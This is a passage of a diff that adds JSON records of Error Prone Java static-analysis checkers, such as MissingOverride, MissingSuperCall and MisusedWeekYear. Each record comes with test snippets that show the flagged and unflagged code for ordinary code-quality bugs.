try (AutoCloseable c = c()) {\n } catch (Exception expected) {\n }\n }\n }" + }, + { + "description": "test", + "expected-problems": null, + "expected-linenumbers": [ + 1026 + ], + "code": "" + }, + { + "description": "noEnclosingMethod", + "expected-problems": null, + "expected-linenumbers": [ + 1038 + ], + "code": "import java.io.IOException;\n import org.junit.Test;\n import org.junit.runner.RunWith;\n import org.junit.runners.JUnit4;\n\n @RunWith(JUnit4.class)\n abstract class ExceptionTest {\n abstract void c();\n\n {\n try {\n c();\n } catch (Exception expected) {\n }\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/MissingImplementsComparable.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/MissingImplementsComparable.json new file mode 100644 index 0000000..110988b --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/MissingImplementsComparable.json @@ -0,0 +1,46 @@ +{ + "name": "MissingImplementsComparable", + "language": "java", + "description": "Classes implementing valid compareTo function should implement Comparable interface", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 58, + "branches": 5, + "apis": 1, + "test": [ + { + "description": "flagsMissingImplementsComparable", + "expected-problems": null, + "expected-linenumbers": [ + 31 + ], + "code": "class Test {\n // BUG: Diagnostic contains:\n public int compareTo(Test o) {\n return 0;\n }\n }" + }, + { + "description": "doesNotFlagImplementsComparable", + "expected-problems": null, + "expected-linenumbers": [ + 47 + ], + "code": "class Test implements Comparable {\n @Override\n public int compareTo(Test o) {\n return 0;\n }\n }" + }, + { + "description": "doesNotFlagComparableSuperType", + "expected-problems": null, + "expected-linenumbers": [ + 63 + ], + "code": "class Test extends Foo {\n @Override\n public int compareTo(Foo o) {\n return 0;\n }\n }" + }, + { + "description": "doesNotFlagImproperCompareTo", + "expected-problems": null, + "expected-linenumbers": [ + 80 + ], + "code": "class Test {\n public int compareTo(Object o) {\n return 0;\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/MissingOverride.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/MissingOverride.json new file mode 100644 index 0000000..44e9843 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/MissingOverride.json @@ -0,0 +1,94 @@ +{ + "name": "MissingOverride", + "language": "java", + "description": "method overrides method in supertype; expected @Override", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 102, + "branches": 9, + "apis": 2, + "test": [ + { + "description": "simple", + "expected-problems": null, + "expected-linenumbers": [ + 32 + ], + "code": "public class Super {\n void f() {}\n }\n \n\n public class Test extends Super {\n // BUG: Diagnostic contains: f overrides method in Super; expected @Override\n public void f() {}\n }" + }, + { + "description": "abstractMethod", + "expected-problems": null, + "expected-linenumbers": [ + 53 + ], + "code": "public abstract class Super {\n abstract void f();\n }\n \n\n public class Test extends Super {\n // BUG: Diagnostic contains: f implements method in Super; expected @Override\n public void f() {}\n }" + }, + { + "description": "generatedMethod", + "expected-problems": null, + "expected-linenumbers": [ + 74 + ], + "code": "import javax.annotation.processing.Generated;\n\n @Generated(\"foo\")\n public abstract class Test {\n public abstract int hashCode();\n }" + }, + { + "description": "interfaceMethod", + "expected-problems": null, + "expected-linenumbers": [ + 90 + ], + "code": "interface Super {\n void f();\n }\n \n\n public class Test implements Super {\n // BUG: Diagnostic contains: f implements method in Super; expected @Override\n public void f() {}\n }" + }, + { + "description": "bothStatic", + "expected-problems": null, + "expected-linenumbers": [ + 111 + ], + "code": "public class Super {\n static void f() {}\n }\n \n\n public class Test extends Super {\n public static void f() {}\n }" + }, + { + "description": "deprecatedMethod", + "expected-problems": null, + "expected-linenumbers": [ + 131 + ], + "code": "public class Super {\n @Deprecated\n void f() {}\n }\n \n\n public class Test extends Super {\n public void f() {}\n }" + }, + { + "description": "interfaceOverride", + "expected-problems": null, + "expected-linenumbers": [ + 152 + ], + "code": "interface Super {\n void f();\n }\n \n\n public interface Test extends Super {\n // BUG: Diagnostic contains: f implements method in Super; expected @Override\n void f();\n }" + }, + { + "description": "ignoreInterfaceOverride", + "expected-problems": null, + "expected-linenumbers": [ + 173 + ], + "code": "interface Super {\n void f();\n }\n \n\n public interface Test extends Super {\n void f();\n }" + }, + { + "description": "explicitRecordAccessor", + "expected-problems": null, + "expected-linenumbers": [ + 194 + ], + "code": "public record Baz(int x) {\n // BUG: Diagnostic contains: x is an explicitly declared accessor method\n public int x() {\n return x;\n }\n\n public int x(int y) {\n return y;\n }\n\n public int y() {\n return x;\n }\n }" + }, + { + "description": "explicitRecordAccessor_doesNotFlagConstructors", + "expected-problems": null, + "expected-linenumbers": [ + 218 + ], + "code": "public record Test(int x) {\n public Test() {\n this(1);\n }\n\n public Test {}\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/MissingRefasterAnnotation.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/MissingRefasterAnnotation.json new file mode 100644 index 0000000..3c359cd --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/MissingRefasterAnnotation.json @@ -0,0 +1,22 @@ +{ + "name": "MissingRefasterAnnotation", + "language": "java", + "description": "The Refaster template contains a method without any Refaster annotations", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 58, + "branches": 2, + "apis": 1, + "test": [ + { + "description": "testIdentification", + "expected-problems": null, + "expected-linenumbers": [ + 35 + ], + "code": "import com.google.errorprone.refaster.annotation.AfterTemplate;\n import com.google.errorprone.refaster.annotation.AlsoNegation;\n import com.google.errorprone.refaster.annotation.BeforeTemplate;\n import java.util.Map;\n\n class A {\n // BUG: Diagnostic matches: X\n static final class MethodLacksBeforeTemplateAnnotation {\n @BeforeTemplate\n boolean before1(String string) {\n return string.equals(\"\");\n }\n\n // @BeforeTemplate is missing\n boolean before2(String string) {\n return string.length() == 0;\n }\n\n @AfterTemplate\n @AlsoNegation\n boolean after(String string) {\n return string.isEmpty();\n }\n }\n\n // BUG: Diagnostic matches: X\n static final class MethodLacksAfterTemplateAnnotation {\n @BeforeTemplate\n boolean before(String string) {\n return string.equals(\"\");\n }\n\n // @AfterTemplate is missing\n boolean after(String string) {\n return string.isEmpty();\n }\n }\n\n // BUG: Diagnostic matches: X\n abstract class MethodLacksPlaceholderAnnotation {\n // @Placeholder is missing\n abstract V function(K key);\n\n @BeforeTemplate\n void before(Map map, K key) {\n if (!map.containsKey(key)) {\n map.put(key, function(key));\n }\n }\n\n @AfterTemplate\n void after(Map map, K key) {\n map.computeIfAbsent(key, k -> function(k));\n }\n }\n\n static final class ValidRefasterTemplate {\n @BeforeTemplate\n void unusedPureFunctionCall(Object o) {\n o.toString();\n }\n }\n\n static final class NotARefasterTemplate {\n @Override\n public String toString() {\n return \"This is not a Refaster template\";\n }\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/MissingSuperCall.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/MissingSuperCall.json new file mode 100644 index 0000000..683d078 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/MissingSuperCall.json @@ -0,0 +1,174 @@ +{ + "name": "MissingSuperCall", + "language": "java", + "description": "Overriding method is missing a call to overridden super method", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 176, + "branches": 17, + "apis": 10, + "test": [ + { + "description": "android", + "expected-problems": null, + "expected-linenumbers": [ + 41 + ], + "code": "import android.support.annotation.CallSuper;\n\n public class Super {\n @CallSuper\n public void doIt() {}\n }\n \n\n public class Sub extends Super {\n @Override\n // BUG: Diagnostic contains:\n // This method overrides Super#doIt, which is annotated with @CallSuper,\n // but does not call the super method\n public void doIt() {}\n }" + }, + { + "description": "androidx", + "expected-problems": null, + "expected-linenumbers": [ + 68 + ], + "code": "package androidx.annotation;\n\n public @interface CallSuper {}\n \n\n import androidx.annotation.CallSuper;\n\n public class Super {\n @CallSuper\n public void doIt() {}\n }\n \n\n public class Sub extends Super {\n @Override\n // BUG: Diagnostic contains:\n // This method overrides Super#doIt, which is annotated with @CallSuper,\n // but does not call the super method\n public void doIt() {}\n }" + }, + { + "description": "javax", + "expected-problems": null, + "expected-linenumbers": [ + 102 + ], + "code": "import javax.annotation.OverridingMethodsMustInvokeSuper;\n\n public class Super {\n @OverridingMethodsMustInvokeSuper\n public void doIt() {}\n }\n \n\n public class Sub extends Super {\n @Override\n // BUG: Diagnostic contains:\n // This method overrides Super#doIt, which is annotated with\n // @OverridingMethodsMustInvokeSuper, but does not call the super method\n public void doIt() {}\n }" + }, + { + "description": "errorProne", + "expected-problems": null, + "expected-linenumbers": [ + 129 + ], + "code": "import com.google.errorprone.annotations.OverridingMethodsMustInvokeSuper;\n\n public class Super {\n @OverridingMethodsMustInvokeSuper\n public void doIt() {}\n }\n \n\n public class Sub extends Super {\n @Override\n // BUG: Diagnostic contains:\n // This method overrides Super#doIt, which is annotated with\n // @OverridingMethodsMustInvokeSuper, but does not call the super method\n public void doIt() {}\n }" + }, + { + "description": "findBugs", + "expected-problems": null, + "expected-linenumbers": [ + 156 + ], + "code": "package edu.umd.cs.findbugs.annotations;\n\n public @interface OverrideMustInvoke {}\n \n\n import edu.umd.cs.findbugs.annotations.OverrideMustInvoke;\n\n public class Super {\n @OverrideMustInvoke\n public void doIt() {}\n }\n \n\n public class Sub extends Super {\n @Override\n // BUG: Diagnostic contains:\n // This method overrides Super#doIt, which is annotated with @OverrideMustInvoke,\n // but does not call the super method\n public void doIt() {}\n }" + }, + { + "description": "negativeDoesCallSuper", + "expected-problems": null, + "expected-linenumbers": [ + 190 + ], + "code": "import android.support.annotation.CallSuper;\n\n public class Super {\n @CallSuper\n public void doIt() {}\n }\n \n\n public class Sub extends Super {\n @Override\n public void doIt() {\n super.doIt();\n }\n }" + }, + { + "description": "negativeDoesCallSuper2", + "expected-problems": null, + "expected-linenumbers": [ + 216 + ], + "code": "import android.support.annotation.CallSuper;\n\n public class Super {\n @CallSuper\n public Object doIt() {\n return null;\n }\n }\n \n\n import java.util.Objects;\n\n public class Sub extends Super {\n @Override\n public Object doIt() {\n return Objects.requireNonNull(super.doIt());\n }\n }" + }, + { + "description": "negativeDoesCallInterfaceSuper", + "expected-problems": null, + "expected-linenumbers": [ + 246 + ], + "code": "import android.support.annotation.CallSuper;\n\n public interface Super {\n @CallSuper\n default void doIt() {}\n }\n \n\n import java.util.Objects;\n\n public class Sub implements Super {\n @Override\n public void doIt() {\n Super.super.doIt();\n }\n }" + }, + { + "description": "positiveTwoLevelsApart", + "expected-problems": null, + "expected-linenumbers": [ + 274 + ], + "code": "package a.b.c;\n\n import javax.annotation.OverridingMethodsMustInvokeSuper;\n\n public class SuperSuper {\n @OverridingMethodsMustInvokeSuper\n public void doIt() {}\n }\n \n\n import a.b.c.SuperSuper;\n\n public class Super extends SuperSuper {}\n \n\n public class Sub extends Super {\n @Override\n // BUG: Diagnostic contains:\n // This method overrides a.b.c.SuperSuper#doIt, which is annotated with\n // @OverridingMethodsMustInvokeSuper, but does not call the super method\n public void doIt() {}\n }" + }, + { + "description": "androidAnnotationDisallowedOnAbstractMethod", + "expected-problems": null, + "expected-linenumbers": [ + 310 + ], + "code": "import android.support.annotation.CallSuper;\n\n public abstract class AbstractClass {\n // BUG: Diagnostic contains: @CallSuper cannot be applied to an abstract method\n @CallSuper\n public abstract void bad();\n\n @CallSuper\n public void ok() {}\n }" + }, + { + "description": "javaxAnnotationDisallowedOnAbstractMethod", + "expected-problems": null, + "expected-linenumbers": [ + 330 + ], + "code": "import javax.annotation.OverridingMethodsMustInvokeSuper;\n\n public abstract class AbstractClass {\n // BUG: Diagnostic contains:\n // @OverridingMethodsMustInvokeSuper cannot be applied to an abstract method\n @OverridingMethodsMustInvokeSuper\n public abstract void bad();\n\n @OverridingMethodsMustInvokeSuper\n public void ok() {}\n }" + }, + { + "description": "findBugsAnnotationDisallowedOnAbstractMethod", + "expected-problems": null, + "expected-linenumbers": [ + 351 + ], + "code": "package edu.umd.cs.findbugs.annotations;\n\n public @interface OverrideMustInvoke {}\n \n\n import edu.umd.cs.findbugs.annotations.OverrideMustInvoke;\n\n public abstract class AbstractClass {\n // BUG: Diagnostic contains:\n // @OverrideMustInvoke cannot be applied to an abstract method\n @OverrideMustInvoke\n public abstract void bad();\n\n @OverrideMustInvoke\n public void ok() {}\n }" + }, + { + "description": "annotationDisallowedOnInterfaceMethod", + "expected-problems": null, + "expected-linenumbers": [ + 379 + ], + "code": "import javax.annotation.OverridingMethodsMustInvokeSuper;\n\n interface MyInterface {\n // BUG: Diagnostic contains:\n // @OverridingMethodsMustInvokeSuper cannot be applied to an abstract method\n @OverridingMethodsMustInvokeSuper\n void bad();\n\n @OverridingMethodsMustInvokeSuper\n default void ok() {}\n }" + }, + { + "description": "positiveOverridingDefaultInterfaceMethod", + "expected-problems": null, + "expected-linenumbers": [ + 400 + ], + "code": "import javax.annotation.OverridingMethodsMustInvokeSuper;\n\n interface MyInterface {\n @OverridingMethodsMustInvokeSuper\n default void doIt() {}\n }\n \n\n public class MyImplementation implements MyInterface {\n @Override\n // BUG: Diagnostic contains:\n // This method overrides MyInterface#doIt, which is annotated with\n // @OverridingMethodsMustInvokeSuper, but does not call the super method\n public void doIt() {}\n }" + }, + { + "description": "superAndSubAnnotated", + "expected-problems": null, + "expected-linenumbers": [ + 427 + ], + "code": "import javax.annotation.OverridingMethodsMustInvokeSuper;\n\n public class Super {\n @OverridingMethodsMustInvokeSuper\n public void doIt() {}\n }\n \n\n import javax.annotation.OverridingMethodsMustInvokeSuper;\n\n public class Sub extends Super {\n @OverridingMethodsMustInvokeSuper\n @Override\n // BUG: Diagnostic contains:\n // This method overrides Super#doIt, which is annotated with\n // @OverridingMethodsMustInvokeSuper, but does not call the super method\n public void doIt() {}\n }" + }, + { + "description": "negativeOverridingMethodIsAbstract", + "expected-problems": null, + "expected-linenumbers": [ + 457 + ], + "code": "import javax.annotation.OverridingMethodsMustInvokeSuper;\n\n public class Super {\n @OverridingMethodsMustInvokeSuper\n public void doIt() {}\n }\n \n\n public abstract class Sub extends Super {\n @Override\n public abstract void doIt();\n }" + }, + { + "description": "wrongSuperCall", + "expected-problems": null, + "expected-linenumbers": [ + 481 + ], + "code": "import android.support.annotation.CallSuper;\n\n public class Super {\n @CallSuper\n public void doIt() {}\n\n public void wrongToCall() {}\n }\n \n\n public class Sub extends Super {\n @Override\n // BUG: Diagnostic contains:\n // This method overrides Super#doIt, which is annotated with @CallSuper,\n // but does not call the super method\n public void doIt() {\n super.wrongToCall();\n }\n }" + }, + { + "description": "nestedSuperCall", + "expected-problems": null, + "expected-linenumbers": [ + 512 + ], + "code": "import android.support.annotation.CallSuper;\n\n public class Super {\n @CallSuper\n public void doIt() {}\n\n public void wrongToCall() {}\n }\n \n\n public class Sub extends Super {\n @Override\n // BUG: Diagnostic contains:\n // This method overrides Super#doIt, which is annotated with @CallSuper,\n // but does not call the super method\n public void doIt() {\n new Super() {\n @Override\n public void doIt() {\n super.doIt();\n }\n };\n }\n }" + }, + { + "description": "lambdas", + "expected-problems": null, + "expected-linenumbers": [ + 548 + ], + "code": "import android.support.annotation.CallSuper;\n\n public class Super {\n @CallSuper\n public void doIt() {}\n\n public void wrongToCall() {}\n }\n \n\n public class Sub extends Super {\n @Override\n // BUG: Diagnostic contains:\n // This method overrides Super#doIt, which is annotated with @CallSuper,\n // but does not call the super method\n public void doIt() {\n Runnable r = () -> super.doIt();\n }\n }" + }, + { + "description": "methodReferences", + "expected-problems": null, + "expected-linenumbers": [ + 579 + ], + "code": "import android.support.annotation.CallSuper;\n\n public class Super {\n @CallSuper\n public void doIt() {}\n\n public void wrongToCall() {}\n }\n \n\n public class Sub extends Super {\n @Override\n // BUG: Diagnostic contains:\n // This method overrides Super#doIt, which is annotated with @CallSuper,\n // but does not call the super method\n public void doIt() {\n Runnable r = super::doIt;\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/MissingTestCall.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/MissingTestCall.json new file mode 100644 index 0000000..cf6e78e --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/MissingTestCall.json @@ -0,0 +1,78 @@ +{ + "name": "MissingTestCall", + "language": "java", + "description": "A terminating method call is required for a test helper to have any effect.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 134, + "branches": 7, + "apis": 3, + "test": [ + { + "description": "positive", + "expected-problems": null, + "expected-linenumbers": [ + 34 + ], + "code": "import com.google.common.testing.EqualsTester;\n import com.google.errorprone.BugCheckerRefactoringTestHelper;\n import com.google.errorprone.CompilationTestHelper;\n import org.junit.Test;\n\n class Case {\n @Test\n // BUG: Diagnostic contains:\n void test() {\n new EqualsTester().addEqualityGroup(this, this);\n hashCode();\n }\n\n @Test\n // BUG: Diagnostic contains:\n void test2(CompilationTestHelper helper) {\n helper.addSourceFile(\"testdata/Foo.java\");\n }\n\n @Test\n // BUG: Diagnostic contains:\n void test3(BugCheckerRefactoringTestHelper helper) {\n helper.addInput(\"testdata/Foo.java\");\n }\n }" + }, + { + "description": "negative", + "expected-problems": null, + "expected-linenumbers": [ + 69 + ], + "code": "import com.google.common.testing.EqualsTester;\n import com.google.errorprone.CompilationTestHelper;\n import org.junit.Test;\n\n class Case {\n CompilationTestHelper helper;\n\n @Test\n void test() {\n new EqualsTester().addEqualityGroup(this, this).testEquals();\n }\n\n @Test\n void doesNotMatchIfNotAtEnd() {\n helper.addSourceFile(\"testdata/Foo.java\");\n hashCode();\n }\n }" + }, + { + "description": "negative", + "expected-problems": null, + "expected-linenumbers": [ + 69 + ], + "code": "import com.google.common.testing.EqualsTester;\n import com.google.errorprone.CompilationTestHelper;\n import org.junit.Test;\n\n class Case {\n CompilationTestHelper helper;\n\n @Test\n void test() {\n new EqualsTester().addEqualityGroup(this, this).testEquals();\n }\n\n @Test\n void doesNotMatchIfNotAtEnd() {\n helper.addSourceFile(\"testdata/Foo.java\");\n hashCode();\n }\n }" + }, + { + "description": "negative", + "expected-problems": null, + "expected-linenumbers": [ + 69 + ], + "code": "import com.google.common.testing.EqualsTester;\n import com.google.errorprone.CompilationTestHelper;\n import org.junit.Test;\n\n class Case {\n CompilationTestHelper helper;\n\n @Test\n void test() {\n new EqualsTester().addEqualityGroup(this, this).testEquals();\n }\n\n @Test\n void doesNotMatchIfNotAtEnd() {\n helper.addSourceFile(\"testdata/Foo.java\");\n hashCode();\n }\n }" + }, + { + "description": "negative", + "expected-problems": null, + "expected-linenumbers": [ + 69 + ], + "code": "import com.google.common.testing.EqualsTester;\n import com.google.errorprone.CompilationTestHelper;\n import org.junit.Test;\n\n class Case {\n CompilationTestHelper helper;\n\n @Test\n void test() {\n new EqualsTester().addEqualityGroup(this, this).testEquals();\n }\n\n @Test\n void doesNotMatchIfNotAtEnd() {\n helper.addSourceFile(\"testdata/Foo.java\");\n hashCode();\n }\n }" + }, + { + "description": "negativeNotTest", + "expected-problems": null, + "expected-linenumbers": [ + 97 + ], + "code": "import com.google.common.testing.EqualsTester;\n\n class Case {\n private EqualsTester et;\n\n void add() {\n et.addEqualityGroup(this, this);\n }\n }" + }, + { + "description": "negativeNotTest", + "expected-problems": null, + "expected-linenumbers": [ + 97 + ], + "code": "import com.google.common.testing.EqualsTester;\n\n class Case {\n private EqualsTester et;\n\n void add() {\n et.addEqualityGroup(this, this);\n }\n }" + }, + { + "description": "negativeNotTest", + "expected-problems": null, + "expected-linenumbers": [ + 97 + ], + "code": "import com.google.common.testing.EqualsTester;\n\n class Case {\n private EqualsTester et;\n\n void add() {\n et.addEqualityGroup(this, this);\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/MisusedDayOfYear.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/MisusedDayOfYear.json new file mode 100644 index 0000000..6b9c4d4 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/MisusedDayOfYear.json @@ -0,0 +1,54 @@ +{ + "name": "MisusedDayOfYear", + "language": "java", + "description": "Use of 'DD' (day of year) in a date pattern with 'MM' (month of year) is not likely to be intentional, as it would lead to dates like 'March 73rd'.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 51, + "branches": 4, + "apis": 2, + "test": [ + { + "description": "positive", + "expected-problems": null, + "expected-linenumbers": [ + 34 + ], + "code": "import java.time.format.DateTimeFormatter;\n\n class Test {\n static {\n DateTimeFormatter.ofPattern(\"yy-MM-DD\");\n }\n }\n \n\n import java.time.format.DateTimeFormatter;\n\n class Test {\n static {\n DateTimeFormatter.ofPattern(\"yy-MM-dd\");\n }\n }" + }, + { + "description": "noDayOfYear_noFinding", + "expected-problems": null, + "expected-linenumbers": [ + 62 + ], + "code": "import java.time.format.DateTimeFormatter;\n\n class Test {\n static {\n DateTimeFormatter.ofPattern(\"yy-MM-dd\");\n }\n }" + }, + { + "description": "noMonthOfYear_noFinding", + "expected-problems": null, + "expected-linenumbers": [ + 79 + ], + "code": "import java.time.format.DateTimeFormatter;\n\n class Test {\n static {\n DateTimeFormatter.ofPattern(\"yy-DD\");\n }\n }" + }, + { + "description": "escapedInQuotes", + "expected-problems": null, + "expected-linenumbers": [ + 96 + ], + "code": "import java.time.format.DateTimeFormatter;\n\n class Test {\n static {\n DateTimeFormatter.ofPattern(\"'D'yy-MM-dd\");\n DateTimeFormatter.ofPattern(\"'D'''yy-MM-dd\");\n DateTimeFormatter.ofPattern(\"'''D'yy-MM-dd\");\n DateTimeFormatter.ofPattern(\"'D''D'yy-MM-dd\");\n }\n }" + }, + { + "description": "escapedInQuotes_butAlsoAsSpecialChar", + "expected-problems": null, + "expected-linenumbers": [ + 116 + ], + "code": "import java.time.format.DateTimeFormatter;\n\n class Test {\n static {\n DateTimeFormatter.ofPattern(\"'D'yy-MM-DD\");\n DateTimeFormatter.ofPattern(\"'D'''yy-MM-DD\");\n DateTimeFormatter.ofPattern(\"'''D'yy-MM-DD\");\n DateTimeFormatter.ofPattern(\"'D''D'yy-MM-DD\");\n DateTimeFormatter.ofPattern(\"'M'yy-DD\");\n }\n }\n \n\n import java.time.format.DateTimeFormatter;\n\n class Test {\n static {\n DateTimeFormatter.ofPattern(\"'D'yy-MM-dd\");\n DateTimeFormatter.ofPattern(\"'D'''yy-MM-dd\");\n DateTimeFormatter.ofPattern(\"'''D'yy-MM-dd\");\n DateTimeFormatter.ofPattern(\"'D''D'yy-MM-dd\");\n DateTimeFormatter.ofPattern(\"'M'yy-DD\");\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/MisusedWeekYear.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/MisusedWeekYear.json new file mode 100644 index 0000000..cc88edc --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/MisusedWeekYear.json @@ -0,0 +1,46 @@ +{ + "name": "MisusedWeekYear", + "language": "java", + "description": "Use of \\", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 57, + "branches": 6, + "apis": 2, + "test": [ + { + "description": "positiveCases", + "expected-problems": null, + "expected-linenumbers": [ + 32 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\nimport java.text.DateFormatSymbols;\nimport java.text.SimpleDateFormat;\nimport java.util.Locale;\n\npublic class MisusedWeekYearPositiveCases {\n void testConstructorWithLiteralPattern() {\n // BUG: Diagnostic contains: new SimpleDateFormat(\"yyyy-MM-dd\")\n SimpleDateFormat simpleDateFormat = new SimpleDateFormat(\"YYYY-MM-dd\");\n\n // BUG: Diagnostic contains: new SimpleDateFormat(\"yy-MM-dd\")\n simpleDateFormat = new SimpleDateFormat(\"YY-MM-dd\");\n\n // BUG: Diagnostic contains: new SimpleDateFormat(\"y-MM-dd\")\n simpleDateFormat = new SimpleDateFormat(\"Y-MM-dd\");\n\n // BUG: Diagnostic contains: new SimpleDateFormat(\"yyyyMMdd_HHmm\")\n simpleDateFormat = new SimpleDateFormat(\"YYYYMMdd_HHmm\");\n\n // BUG: Diagnostic contains: new SimpleDateFormat(\"yyyy-MM-dd\", DateFormatSymbols.getInstance())\n simpleDateFormat = new SimpleDateFormat(\"YYYY-MM-dd\", DateFormatSymbols.getInstance());\n\n // BUG: Diagnostic contains: new SimpleDateFormat(\"yyyy-MM-dd\", Locale.getDefault())\n simpleDateFormat = new SimpleDateFormat(\"YYYY-MM-dd\", Locale.getDefault());\n }\n\n void testConstructorWithLiteralPatternWithFolding() {\n // TODO(eaftan): javac has a bug in that when it folds string literals, the start position of\n // the folded string literal node is set as the start position of the + operator. We have\n // fixed this in our internal javac, but haven't pushed the change to our external javac mirror.\n // We should push that fix to the javac mirror repo, and then we can test that the suggested\n // fix offered here is correct (\"yyyy-MM-dd\").\n // BUG: Diagnostic contains:\n SimpleDateFormat simpleDateFormat = new SimpleDateFormat(\"YYYY\" + \"-MM-dd\");\n }\n\n private static final String WEEK_YEAR_PATTERN = \"YYYY\";\n\n private static final String WEEK_YEAR_PATTERN_2 = \"YY\";\n\n private static final String WEEK_YEAR_PATTERN_3 = \"Y\";\n\n void testConstructorWithConstantPattern() {\n // BUG: Diagnostic contains:\n SimpleDateFormat simpleDateFormat = new SimpleDateFormat(WEEK_YEAR_PATTERN);\n }\n\n void testConstructorWithConstantPattern2() {\n // BUG: Diagnostic contains:\n SimpleDateFormat simpleDateFormat = new SimpleDateFormat(WEEK_YEAR_PATTERN_2);\n }\n\n void testConstructorWithConstantPattern3() {\n // BUG: Diagnostic contains:\n SimpleDateFormat simpleDateFormat = new SimpleDateFormat(WEEK_YEAR_PATTERN_3);\n }\n\n void testConstructorWithConstantPatternWithFolding() {\n // BUG: Diagnostic contains:\n SimpleDateFormat simpleDateFormat = new SimpleDateFormat(WEEK_YEAR_PATTERN + \"-MM-dd\");\n }\n\n void testConstructorWithConstantPatternWithFolding2() {\n // BUG: Diagnostic contains:\n SimpleDateFormat simpleDateFormat = new SimpleDateFormat(WEEK_YEAR_PATTERN_2 + \"-MM-dd\");\n }\n\n void testConstructorWithConstantPatternWithFolding3() {\n // BUG: Diagnostic contains:\n SimpleDateFormat simpleDateFormat = new SimpleDateFormat(WEEK_YEAR_PATTERN_3 + \"-MM-dd\");\n }\n\n void testApplyPatternAndApplyLocalizedPatternWithLiteralPattern() {\n SimpleDateFormat sdf = new SimpleDateFormat();\n // BUG: Diagnostic contains: sdf.applyPattern(\"yyyy-MM-dd\")\n sdf.applyPattern(\"YYYY-MM-dd\");\n // BUG: Diagnostic contains: sdf.applyLocalizedPattern(\"yyyy-MM-dd\")\n sdf.applyLocalizedPattern(\"YYYY-MM-dd\");\n }\n\n void testApplyPatternAndApplyLocalizedPatternWithConstantPattern() {\n SimpleDateFormat sdf = new SimpleDateFormat();\n // BUG: Diagnostic contains:\n sdf.applyPattern(WEEK_YEAR_PATTERN);\n // BUG: Diagnostic contains:\n sdf.applyLocalizedPattern(WEEK_YEAR_PATTERN);\n }\n\n void testDateTimeFormatter() {\n // BUG: Diagnostic contains:\n java.time.format.DateTimeFormatter.ofPattern(WEEK_YEAR_PATTERN);\n }\n}\\" + }, + { + "description": "positiveCases2", + "expected-problems": null, + "expected-linenumbers": [ + 136 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\nimport com.ibm.icu.text.DateFormatSymbols;\nimport com.ibm.icu.text.SimpleDateFormat;\nimport com.ibm.icu.util.ULocale;\nimport java.util.Locale;\n\n/** Tests for {@link com.ibm.icu.text.SimpleDateFormat}. */\npublic class MisusedWeekYearPositiveCases2 {\n\n void testConstructors() {\n // BUG: Diagnostic contains: new SimpleDateFormat(\"yyyy-MM-dd\")\n SimpleDateFormat sdf = new SimpleDateFormat(\"YYYY-MM-dd\");\n\n // BUG: Diagnostic contains:\n sdf = new SimpleDateFormat(\"YYYY-MM-dd\", DateFormatSymbols.getInstance());\n\n // BUG: Diagnostic contains:\n sdf = new SimpleDateFormat(\"YYYY-MM-dd\", DateFormatSymbols.getInstance(), ULocale.CANADA);\n\n // BUG: Diagnostic contains:\n sdf = new SimpleDateFormat(\"YYYY-MM-dd\", Locale.getDefault());\n\n // BUG: Diagnostic contains:\n sdf = new SimpleDateFormat(\"YYYY-MM-dd\", \"\", ULocale.CANADA);\n\n // BUG: Diagnostic contains:\n sdf = new SimpleDateFormat(\"YYYY-MM-dd\", ULocale.CANADA);\n }\n\n void testApplyPatternAndApplyLocalizedPattern() {\n SimpleDateFormat sdf = new SimpleDateFormat();\n // BUG: Diagnostic contains: sdf.applyPattern(\"yyyy-MM-dd\")\n sdf.applyPattern(\"YYYY-MM-dd\");\n // BUG: Diagnostic contains:\n sdf.applyLocalizedPattern(\"YYYY-MM-dd\");\n }\n}\\" + }, + { + "description": "negativeCases", + "expected-problems": null, + "expected-linenumbers": [ + 184 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\nimport java.text.DateFormatSymbols;\nimport java.text.SimpleDateFormat;\nimport java.util.Locale;\n\npublic class MisusedWeekYearNegativeCases {\n void testLiteralPattern() {\n SimpleDateFormat simpleDateFormat = new SimpleDateFormat(\"yyyy-MM-dd\");\n simpleDateFormat = new SimpleDateFormat(\"MM-dd\");\n simpleDateFormat = new SimpleDateFormat(\"yyyy-MM-dd\", DateFormatSymbols.getInstance());\n 